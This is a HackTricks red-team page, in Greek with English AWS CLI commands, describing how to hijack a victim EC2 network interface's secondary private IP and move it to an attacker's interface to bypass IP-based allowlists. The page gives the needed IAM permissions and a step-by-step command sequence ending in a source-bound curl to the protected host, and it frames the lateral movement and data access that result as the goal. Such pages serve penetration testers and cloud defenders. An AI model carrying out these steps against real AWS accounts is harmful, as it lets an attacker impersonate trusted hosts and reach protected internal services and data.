AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Καταχράστε ec2:UnassignPrivateIpAddresses και ec2:AssignPrivateIpAddresses για να κλέψετε τη δευτερεύουσα ιδιωτική IP μιας ENI του θύματος και να τη μεταφέρετε σε ENI του επιτιθέμενου στο ίδιο subnet/AZ. Πολλές εσωτερικές υπηρεσίες και ομάδες ασφάλειας ελέγχουν την πρόσβαση βάσει συγκεκριμένων ιδιωτικών IP. Μετακινώντας αυτή τη δευτερεύουσα διεύθυνση, ο επιτιθέμενος μιμείται τον αξιόπιστο host στο L3 και μπορεί να φτάσει υπηρεσίες που βρίσκονται σε allowlist.

Prereqs:

  • Δικαιώματα: ec2:DescribeNetworkInterfaces, ec2:UnassignPrivateIpAddresses στο ARN της ENI του θύματος, και ec2:AssignPrivateIpAddresses στο ARN της ENI του επιτιθέμενου.
  • Και οι δύο ENI πρέπει να είναι στο ίδιο subnet/AZ. Η στοχευόμενη διεύθυνση πρέπει να είναι δευτερεύουσα IP (η primary δεν μπορεί να αποδεσμευτεί).

Variables:

  • REGION=us-east-1
  • VICTIM_ENI=
  • ATTACKER_ENI=
  • PROTECTED_SG= # SG σε υπηρεσία-στόχο που επιτρέπει μόνο το $HIJACK_IP
  • PROTECTED_HOST= # ιδιωτικό DNS ή IP της προστατευμένης υπηρεσίας

Steps:

  1. Επιλέξτε μία δευτερεύουσα IP από την ENI του θύματος
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
  1. Διασφάλισε ότι ο προστατευμένος host επιτρέπει μόνο αυτήν την IP (idempotent). Αν χρησιμοποιείς SG-to-SG κανόνες, παράλειψε.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
  1. Βασική κατάσταση: από attacker instance, το αίτημα προς PROTECTED_HOST πρέπει να αποτύχει χωρίς spoofed source (π.χ., μέσω SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
  1. Αφαίρεση της secondary IP από το victim ENI
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Αναθέστε την ίδια IP στην ENI του επιτιθέμενου (στο AWS CLI v1 προσθέστε --allow-reassignment)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
  1. Επαλήθευση μεταφοράς ιδιοκτησίας
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
  1. Από το attacker instance, κάντε source-bind στην hijacked IP για να φτάσετε τον protected host (βεβαιωθείτε ότι η IP είναι ρυθμισμένη στο OS· αν όχι, προσθέστε την με ip addr add $HIJACK_IP/<mask> dev eth0)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out

Επιπτώσεις

  • Παρακάμψτε IP allowlists και προσποιηθείτε αξιόπιστους hosts εντός του VPC μετακινώντας secondary private IPs μεταξύ ENIs στο ίδιο subnet/AZ.
  • Πρόσβαση σε εσωτερικές υπηρεσίες που ελέγχουν την πρόσβαση με βάση συγκεκριμένες source IPs, επιτρέποντας lateral movement και πρόσβαση σε δεδομένα.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks